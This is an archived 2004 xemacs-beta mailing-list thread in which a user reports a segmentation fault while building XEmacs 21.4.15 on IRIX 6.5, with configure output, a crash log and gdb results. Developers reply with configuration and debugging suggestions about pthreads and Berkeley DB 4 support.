xemacs-beta-admin@xemacs.org Mon Apr 26 15:08:31 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QJ72s21838; Mon, 26 Apr 2004 15:07:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3QJ6Rv21163 for xemacs-beta-mailman@xemacs.org; Mon, 26 Apr 2004 15:06:27 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3QJ6PH21112 for turnbull@tux.org; Mon, 26 Apr 2004 15:06:25 -0400 Received: from mailwasher-b.lanl.gov (mailwasher.lanl.gov [192.16.0.25]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QJ6Os21096 for ; Mon, 26 Apr 2004 15:06:24 -0400 Received: from mailrelay2.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i3QJ6Nik011314 for ; Mon, 26 Apr 2004 13:06:23 -0600 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay2.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i3QJ6Mp9013418 for ; Mon, 26 Apr 2004 13:06:23 -0600 Received: from lanl.gov (debbie.lanl.gov [128.165.129.123]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i3QJ6MiZ005819 for ; Mon, 26 Apr 2004 13:06:22 -0600 Message-ID: <408D5DA8.8070506@lanl.gov> Date: Mon, 26 Apr 2004 13:06:16 -0600 From: Deborah Ortiz User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.6) Gecko/20040116 X-Accept-Language: en-us, en MIME-Version: 1.0 To: xemacs-beta@xemacs.org Subject: Building xemacs-21.4.15 on Irix 6.5.17m Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.35 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , I have been trying to build this for quite a while so I hope you can help me. I have tried this with the SGI cc compiler and gnu gcc. I get the same results. I have tried a variety of configuration options as well. Has anyone else seen this? Thanks in advance, Debbie Ortiz Configuration results from: ./configure --prefix=/usr/lanl --with-xpm=yes --site-includes=/usr/lanl/include --site-libraries=/usr/lanl/lib --libs=-lpthread Compilation / Installation: Source code location: /build/xemacs-21.4.15 Installation prefix: /usr/lanl Additional header files: /usr/lanl/include Additional libraries: /usr/lanl/lib Operating system description file: `s/irix6-0.h' Machine description file: `m/iris6d.h' Compiler: gcc -g -O3 -Wall -Wno-switch -Winline -Wmissing-prototypes -Wsign-compare -fno-strict-aliasing -Wshadow -Wpointer-arith Compiler version: gcc (GCC) 3.3.3 Compiler specs file: /usr/lanl/packages/gcc-3.3.3/lib/gcc-lib/mips-sgi-irix6.5/3.3.3/specs Relocating allocator for buffers: yes GNU version of malloc: yes IRIX version: IRIX64 6.5 6.5.17m IP27' Window System: Compiling in support for the X window system: - X Windows headers location: - X Windows libraries location: - Handling WM_COMMAND properly. Compiling in support for the Athena widget set: - Athena headers location: X11/Xaw - Athena library to link: Xaw Using Lucid menubars. Using Lucid scrollbars. Using Athena dialog boxes. TTY: Images: Compiling in support for GIF images (builtin). Compiling in support for XPM images. Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Sound: Compiling in support for sound (native). Databases: Compiling in support for Berkeley database. Compiling in support for GNU DBM. Compiling in support for LDAP. Internationalization: Mail: Compiling in support for "dot-locking" mail spool file locking method. Other Features: Inhibiting IPv6 canonicalization at startup. Compiling in support for dynamic shared object modules. *****************************Error Message ./temacs -nd -batch -l /build/xemacs-21.4.15/src/../lisp/update-elc.el Loading /build/xemacs-21.4.15/src/../lisp/update-elc.el... Loading very-early-lisp... Loading find-paths.el... Loading packages.el... Loading setup-paths.el... Loading dump-paths.el... Loading /build/xemacs-21.4.15/lisp/dumped-lisp.el... Loading loadup-el.el... Loading loadup.el... Using load-path (/build/xemacs-21.4.15/lisp) Using module-load-path (/build/xemacs-21.4.15/modules) Loading dumped-lisp.el... Loading backquote.el... Loading bytecomp-runtime.el... Loading find-paths.el... Loading packages.el... Loading setup-paths.el... Loading dump-paths.el... Loading subr.el... Loading replace.el... Loading version.el... Loading cl.el... Loading cl-extra.el... Loading cl-seq.el... Loading widget.el... Loading custom.el... Loading cus-start.el... Loading cmdloop.el... Loading keymap.el... Loading syntax.el... Loading device.el... Loading console.el... Loading obsolete.el... Loading specifier.el... Loading faces.el... Loading cl-macs.el... Loading glyphs.el... Loading objects.el... Loading extents.el... Loading events.el... Loading text-props.el... Loading process.el... Loading multicast.el... Loading frame.el... Loading map-ynp.el... Loading simple.el... Loading keydefs.el... Loading abbrev.el... Loading derived.el... Loading minibuf.el... Loading list-mode.el... Loading modeline.el... Loading cus-file.el... Loading startup.el... Loading misc.el... Loading help-nomule.el... Loading help.el... Loading files-nomule.el... Loading files.el... Loading lib-complete.el... Loading format.el... Loading indent.el... Loading isearch-mode.el... Loading buffer.el... Loading buff-menu.el... Loading undo-stack.el... Loading window.el... Loading easymenu.el... Loading lisp-mode.el... Loading text-mode.el... Loading fill.el... Loading auto-save.el... Loading movemail.el... Loading float-sup.el... Loading itimer.el... Loading itimer-autosave.el... Loading printer.el... Loading gui.el... Loading mouse.el... Loading mode-motion.el... Loading toolbar.el... Loading scrollbar.el... Loading menubar.el... Loading dialog.el... Loading gutter.el... Loading select.el... Loading menubar-items.el... Loading gutter-items.el... Loading toolbar-items.el... Loading dialog-items.el... Loading x-faces.el... Loading x-iso8859-1.el... Loading x-mouse.el... Loading x-select.el... Loading x-scrollbar.el... Loading x-misc.el... Loading x-init.el... Loading x-win-xfree86.el... Loading x-win-sun.el... Loading tty-init.el... Loading fontl-hooks.el... Loading auto-show.el... Loading loadhist.el... Loading loaddefs.el... Loading site-load.el... Bootstrapping from temacs... Fatal error (11). Your files have been auto-saved. Use `M-x recover-session' to recover them. Your version of XEmacs was distributed with a PROBLEMS file that may describe your crash, and with luck a workaround. Please check it first, but do report the crash anyway. Please report this bug by invoking M-x report-emacs-bug, or by selecting `Send Bug Report' from the Help menu. If necessary, send ordinary email to `crashes@xemacs.org'. *MAKE SURE* to include the XEmacs configuration from M-x describe-installation, or equivalently the file Installation in the top of the build tree. *Please* try *hard* to obtain a C stack backtrace; without it, we are unlikely to be able to analyze the problem. Locate the core file produced as a result of this crash (often called `core' or `core.', and located in the directory in which you started XEmacs or your home directory), and type gdb /build/xemacs-21.4.15/src/temacs core then type `where' at the debugger prompt. No GDB on your system? You may have DBX, or XDB, or SDB. (Ask your system administrator if you need help.) If no core file was produced, enable them (often with `ulimit -c unlimited' in case of future recurrance of the crash. Lisp backtrace follows: # bind (current-load-list) # (unwind-protect ...) # bind (load-file-name) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) load-internal("/build/xemacs-21.4.15/lisp/auto-autoloads" nil t nil nil nil) # bind (nosuffix nomessage noerror file) load("/build/xemacs-21.4.15/lisp/auto-autoloads" nil t) (if (and (not inhibit-autoloads) lisp-directory) (load (expand-file-name ... lisp-directory) nil t)) (if command-line-processed (message "Back to top level.") (setq command-line-processed t) (let (...) (if ... ...)) (setq default-directory (abbreviate-file-name default-directory)) (initialize-xemacs-paths) (startup-set-invocation-environment) (let (...) (setq emacs-roots ...) (if debug-paths ...) (if ... ...) (startup-setup-paths emacs-roots user-init-directory inhibit-early-packages inhibit-site-lisp debug-paths) (startup-setup-paths-warning)) (if (and ... lisp-directory) (load ... nil t)) (if (not inhibit-autoloads) (progn ... ... ...)) (let (error-data) (condition-case data ... ...) (setq default-directory ...) (if auto-save-list-file-prefix ...) (run-hooks ...) (and term-setup-hook ...) (setq term-setup-hook nil) (frame-notice-user-settings) (when window-setup-hook ...) (setq window-setup-hook nil) (if error-data ...)) (if load-user-init-file-p (maybe-migrate-user-init-file))) normal-top-level() # (condition-case ... . error) # (catch top-level ...) gmake[1]: *** [update-elc.stamp] Segmentation fault (core dumped) gmake[1]: Leaving directory `/build/xemacs-21.4.15/src' gmake: *** [src] Error 2 ****************************GDB results [root@nm64:/build/xemacs-21.4.15/src ]%gdb /build/xemacs-21.4.15/src/temacs core GNU gdb 6.0 Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "mips-sgi-irix6.5"... Core was generated by `temacs'. Program terminated with signal 11, Segmentation fault. warning: wrong size gregset struct in core file Reading symbols from /usr/lib32/libXaw.so.2...done. Loaded symbols for /usr/lib32/libXaw.so.2 Reading symbols from /usr/lanl/lib/libtiff.so...done. Loaded symbols for /usr/lanl/lib/libtiff.so Reading symbols from /usr/lanl/lib/libpng.so.3...done. Loaded symbols for /usr/lanl/lib/libpng.so.3 Reading symbols from /usr/lanl/lib/libjpeg.so...done. Loaded symbols for /usr/lanl/lib/libjpeg.so Reading symbols from /usr/lanl/lib/libz.so.1.2.1...done. Loaded symbols for /usr/lanl/lib/libz.so.1.2.1 Reading symbols from /usr/lib32/libXmu.so...done. Loaded symbols for /usr/lib32/libXmu.so Reading symbols from /usr/lib32/libXt.so...done. Loaded symbols for /usr/lib32/libXt.so Reading symbols from /usr/lib32/libXext.so...done. Loaded symbols for /usr/lib32/libXext.so Reading symbols from /usr/lib32/libX11.so.1...done. Loaded symbols for /usr/lib32/libX11.so.1 Reading symbols from /usr/lanl/lib/libdb-4.2.so...done. Loaded symbols for /usr/lanl/lib/libdb-4.2.so Reading symbols from /usr/lanl/lib/libgdbm.so.4...done. Loaded symbols for /usr/lanl/lib/libgdbm.so.4 Reading symbols from /usr/lib32/libcurses.so...done. Loaded symbols for /usr/lib32/libcurses.so Reading symbols from /usr/lib32/libaudio.so...done. Loaded symbols for /usr/lib32/libaudio.so Reading symbols from /usr/lanl/lib/libldap.so.3...done. Loaded symbols for /usr/lanl/lib/libldap.so.3 Reading symbols from /usr/lib32/libm.so...done. Loaded symbols for /usr/lib32/libm.so Reading symbols from /usr/lib32/libpthread.so...done. Loaded symbols for /usr/lib32/libpthread.so Reading symbols from /usr/lib32/libc.so.1...done. Loaded symbols for /usr/lib32/libc.so.1 Reading symbols from /usr/lib32/libgen.so...done. Loaded symbols for /usr/lib32/libgen.so Reading symbols from /usr/lanl/lib/libgcc_s.so.1...done. Loaded symbols for /usr/lanl/lib/libgcc_s.so.1 Reading symbols from /usr/lanl/lib/liblber.so.3...done. Loaded symbols for /usr/lanl/lib/liblber.so.3 warning: wrong size gregset struct in core file 0x00000000 in ?? () -- _________________________________________ Deborah A. Ortiz dao@lanl.gov ESD/UNIX CCN-2 (505) 665-7223 104-4804 From xemacs-beta-admin@xemacs.org Mon Apr 26 16:06:47 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QK58s24054; Mon, 26 Apr 2004 16:05:08 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3QK4xO23889 for xemacs-beta-mailman@xemacs.org; Mon, 26 Apr 2004 16:04:59 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3QK4wS23866 for turnbull@tux.org; Mon, 26 Apr 2004 16:04:58 -0400 Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QK4us23838; Mon, 26 Apr 2004 16:04:57 -0400 Received: from sfwd00.aul.t-online.de by mailout01.sul.t-online.com with smtp id 1BICLX-0000i8-00; Mon, 26 Apr 2004 22:04:55 +0200 Received: from D5DC120J.t-online.de (Ttt74BZAQelzbZ1k5zlQ0omBvxWOXRHb2X6IfafrUtvu2sDqRUFSky@[217.229.1.26]) by afwd00.sul.t-online.com with esmtp id 1BICLS-1cGWeG0; Mon, 26 Apr 2004 22:04:50 +0200 To: Deborah Ortiz Cc: xemacs-beta@xemacs.org Subject: Re: Building xemacs-21.4.15 on Irix 6.5.17m X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B Organization: The XEmacs Project From: Adrian Aichner Date: Mon, 26 Apr 2004 22:05:59 +0200 In-Reply-To: <408D5DA8.8070506@lanl.gov> (Deborah Ortiz's message of "Mon, 26 Apr 2004 13:06:16 -0600") Message-ID: <3c6qjyhk.fsf@smtpmail.t-online.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: Ttt74BZAQelzbZ1k5zlQ0omBvxWOXRHb2X6IfafrUtvu2sDqRUFSky X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Deborah Ortiz writes: > I have been trying to build this for quite a while so I > hope you can help me. I have tried this with the SGI cc > compiler and gnu gcc. I get the same results. I have > tried a variety of configuration options as well. Has anyone > else seen this? Hi Debbie, you could try building with --pdump if that's not used by default. Good Luck, Adrian > > Thanks in advance, > Debbie Ortiz <296 lines deleted by Adrian Aichner> -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Mon Apr 26 16:10:24 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QK92s28184; Mon, 26 Apr 2004 16:09:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3QK8Mh27514 for xemacs-beta-mailman@xemacs.org; Mon, 26 Apr 2004 16:08:22 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3QK8Lw27493 for turnbull@tux.org; Mon, 26 Apr 2004 16:08:21 -0400 Received: from mailwasher-b.lanl.gov (mailwasher.lanl.gov [192.16.0.25]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QK8Ls27478; Mon, 26 Apr 2004 16:08:21 -0400 Received: from mailrelay3.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i3QK8Kik031227; Mon, 26 Apr 2004 14:08:20 -0600 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay3.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i3QK8JQ8011014; Mon, 26 Apr 2004 14:08:19 -0600 Received: from lanl.gov (debbie.lanl.gov [128.165.129.123]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i3QK8JiZ021402; Mon, 26 Apr 2004 14:08:19 -0600 Message-ID: <408D6C2D.8080803@lanl.gov> Date: Mon, 26 Apr 2004 14:08:13 -0600 From: Deborah Ortiz User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.6) Gecko/20040116 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Adrian Aichner CC: xemacs-beta@xemacs.org Subject: Re: Building xemacs-21.4.15 on Irix 6.5.17m References: <408D5DA8.8070506@lanl.gov> <3c6qjyhk.fsf@smtpmail.t-online.de> In-Reply-To: <3c6qjyhk.fsf@smtpmail.t-online.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.35 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Thanks for responding so quickly. Pdump was one of the options I tried. I used this configuration line. ./configure '--prefix=/usr/lanl' '--with-xpm=yes' --site-includes=/usr/lanl/include --site-libraries=/usr/lanl/lib --libs=-lpthread --pdump Thanks for your help, Debbie Adrian Aichner wrote: > Deborah Ortiz writes: > > >> I have been trying to build this for quite a while so I >>hope you can help me. I have tried this with the SGI cc >>compiler and gnu gcc. I get the same results. I have >>tried a variety of configuration options as well. Has anyone >>else seen this? > > > Hi Debbie, you could try building with > --pdump > if that's not used by default. > > Good Luck, > > Adrian > > >>Thanks in advance, >>Debbie Ortiz > > <296 lines deleted by Adrian Aichner> > -- _________________________________________ Deborah A. Ortiz dao@lanl.gov ESD/UNIX CCN-2 (505) 665-7223 104-4804 From xemacs-beta-admin@xemacs.org Mon Apr 26 17:48:44 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QLlIs11182; Mon, 26 Apr 2004 17:47:18 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3QLjNf08726 for xemacs-beta-mailman@xemacs.org; Mon, 26 Apr 2004 17:45:23 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3QLjL008672 for turnbull@tux.org; Mon, 26 Apr 2004 17:45:21 -0400 Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QLjLs08661 for ; Mon, 26 Apr 2004 17:45:21 -0400 Received: from 209-6-229-49.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([209.6.229.49] helo=zion.rcn.com) by smtp03.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1BIDui-0004rx-00; Mon, 26 Apr 2004 17:45:20 -0400 Received: by zion.rcn.com (Postfix, from userid 500) id 4CE051E089; Mon, 26 Apr 2004 17:46:05 -0400 (EDT) To: Deborah Ortiz Cc: xemacs-beta@xemacs.org Subject: Re: Building xemacs-21.4.15 on Irix 6.5.17m References: <408D5DA8.8070506@lanl.gov> From: Vin Shelton Organization: The XEmacs Development Team Date: Mon, 26 Apr 2004 17:46:05 -0400 In-Reply-To: <408D5DA8.8070506@lanl.gov> (Deborah Ortiz's message of "Mon, 26 Apr 2004 13:06:16 -0600") Message-ID: Lines: 25 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Deborah Ortiz writes: > I have been trying to build this for quite a while so I > hope you can help me. I have tried this with the SGI cc > compiler and gnu gcc. I get the same results. I have > tried a variety of configuration options as well. Has anyone > else seen this? > > Thanks in advance, > Debbie Ortiz > > > Configuration results from: > > ./configure --prefix=/usr/lanl --with-xpm=yes > --site-includes=/usr/lanl/include --site-libraries=/usr/lanl/lib > --libs=-lpthread > Deborah, What happens if you don't specify '--libs=-lpthread'? HTH, Vin From xemacs-beta-admin@xemacs.org Mon Apr 26 18:36:25 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QMZ2s24275; Mon, 26 Apr 2004 18:35:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3QMYiA23977 for xemacs-beta-mailman@xemacs.org; Mon, 26 Apr 2004 18:34:44 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3QMYhI23949 for turnbull@tux.org; Mon, 26 Apr 2004 18:34:43 -0400 Received: from mailwasher-b.lanl.gov (mailwasher.lanl.gov [192.16.0.25]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QMYgs23939; Mon, 26 Apr 2004 18:34:42 -0400 Received: from mailrelay3.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i3QMYfik025717; Mon, 26 Apr 2004 16:34:41 -0600 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay3.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i3QMYfQ8022334; Mon, 26 Apr 2004 16:34:41 -0600 Received: from lanl.gov (debbie.lanl.gov [128.165.129.123]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i3QMYeiZ030246; Mon, 26 Apr 2004 16:34:41 -0600 Message-ID: <408D8E7B.2030700@lanl.gov> Date: Mon, 26 Apr 2004 16:34:35 -0600 From: Deborah Ortiz User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.6) Gecko/20040116 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Vin Shelton CC: xemacs-beta@xemacs.org Subject: Re: Building xemacs-21.4.15 on Irix 6.5.17m References: <408D5DA8.8070506@lanl.gov> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.35 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , I have db-4.2.52 that compiled with pthreads so I get a library error on configure when it finds db. Thanks, Debbie Vin Shelton wrote: > Deborah Ortiz writes: > > >> I have been trying to build this for quite a while so I >>hope you can help me. I have tried this with the SGI cc >>compiler and gnu gcc. I get the same results. I have >>tried a variety of configuration options as well. Has anyone >>else seen this? >> >>Thanks in advance, >>Debbie Ortiz >> >> >>Configuration results from: >> >>./configure --prefix=/usr/lanl --with-xpm=yes >>--site-includes=/usr/lanl/include --site-libraries=/usr/lanl/lib >>--libs=-lpthread >> > > > Deborah, > > What happens if you don't specify '--libs=-lpthread'? > > HTH, > Vin -- _________________________________________ Deborah A. Ortiz dao@lanl.gov ESD/UNIX CCN-2 (505) 665-7223 104-4804 From xemacs-beta-admin@xemacs.org Mon Apr 26 19:01:42 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QN0Cs17680; Mon, 26 Apr 2004 19:00:12 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3QMxSx16747 for xemacs-beta-mailman@xemacs.org; Mon, 26 Apr 2004 18:59:28 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3QMxRS16724 for turnbull@tux.org; Mon, 26 Apr 2004 18:59:27 -0400 Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QMxRs16719 for ; Mon, 26 Apr 2004 18:59:27 -0400 Received: from 209-6-229-49.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([209.6.229.49] helo=zion.rcn.com) by smtp03.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1BIF4Q-0005dI-00; Mon, 26 Apr 2004 18:59:26 -0400 Received: by zion.rcn.com (Postfix, from userid 500) id 046711E089; Mon, 26 Apr 2004 19:00:10 -0400 (EDT) To: Deborah Ortiz Cc: xemacs-beta@xemacs.org Subject: Re: Building xemacs-21.4.15 on Irix 6.5.17m References: <408D5DA8.8070506@lanl.gov> <408D8E7B.2030700@lanl.gov> From: Vin Shelton Organization: The XEmacs Development Team Date: Mon, 26 Apr 2004 19:00:10 -0400 In-Reply-To: <408D8E7B.2030700@lanl.gov> (Deborah Ortiz's message of "Mon, 26 Apr 2004 16:34:35 -0600") Message-ID: Lines: 39 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Deborah Ortiz writes: > I have db-4.2.52 that compiled with pthreads > so I get a library error on configure when it finds > db. > > > Thanks, > Debbie > > Vin Shelton wrote: >> Deborah Ortiz writes: >> >>> I have been trying to build this for quite a while so I >>>hope you can help me. I have tried this with the SGI cc >>>compiler and gnu gcc. I get the same results. I have >>>tried a variety of configuration options as well. Has anyone >>>else seen this? >>> >>>Thanks in advance, >>>Debbie Ortiz >>> >>> >>>Configuration results from: >>> >>>./configure --prefix=/usr/lanl --with-xpm=yes >>>--site-includes=/usr/lanl/include --site-libraries=/usr/lanl/lib >>>--libs=-lpthread >>> >> Deborah, >> What happens if you don't specify '--libs=-lpthread'? >> HTH, >> Vin > How about adding --with-database=no instead? I'm not absolutely certain we support db-4. - vin From xemacs-beta-admin@xemacs.org Mon Apr 26 21:01:40 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3R106s01833; Mon, 26 Apr 2004 21:00:07 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3R0xgI01322 for xemacs-beta-mailman@xemacs.org; Mon, 26 Apr 2004 20:59:42 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3R0xeg01292 for turnbull@tux.org; Mon, 26 Apr 2004 20:59:40 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3R0xcs01227 for ; Mon, 26 Apr 2004 20:59:38 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BIGwf-0000PW-00; Tue, 27 Apr 2004 09:59:33 +0900 To: Deborah Ortiz , xemacs-beta@xemacs.org Subject: Re: Building xemacs-21.4.15 on Irix 6.5.17m References: <408D5DA8.8070506@lanl.gov> <408D8E7B.2030700@lanl.gov> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Tue, 27 Apr 2004 09:59:33 +0900 In-Reply-To: (Vin Shelton's message of "Mon, 26 Apr 2004 19:00:10 -0400") Message-ID: <87pt9ugrre.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "vin" == Vin Shelton writes: vin> How about adding --with-database=no instead? I'm not vin> absolutely certain we support db-4. "Works for me", it does, but "support", no. We don't have anybody currently who understands that stuff. Martin had his fingers in the Berkeley db stuff, but I think the v4 support was actually contributed by a user (it was a matter of fixing some db open calls). I don't think much attempt was made to use v4 features, just patch up the v1- oriented algorithms with v[234] versions of the basic calls. I would say that --with-database=no or --with-database=gdbm (sp?) is the best bet to get a build. XEmacs is _not_ capable of supporting threaded operation, and I would not be surprised if XEmacs does evil things in its thread if you link to a threaded library (I've already seen this on Carbon). You may need to rebuild db4 libraries without threading to get support for that. In any case, this will help isolate the problem to the db4 library support. The other thing would be to run xemacs under the debugger to get more information. Cd to the $blddir/src directory, run gdb temacs, then execute "run -nd -batch -l /build/xemacs-21.4.15/src/../lisp/update-elc.el". We can hope this will result in a more informative stack trace. Also, the warning about the wrong size of the gregset struct could easily mean alignment or segmentation problems. However, that doesn't seem to be an XEmacs problem, as we don't mention gregset anywhere that I can find. -- 